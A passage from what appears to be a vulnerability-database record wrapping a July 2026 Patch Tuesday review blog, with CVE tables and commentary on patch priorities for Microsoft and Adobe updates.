Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:03:29.773449Z"}, {"uuid": "e384abc4-aeb0-4265-85c2-b51baa5f1968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54126", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  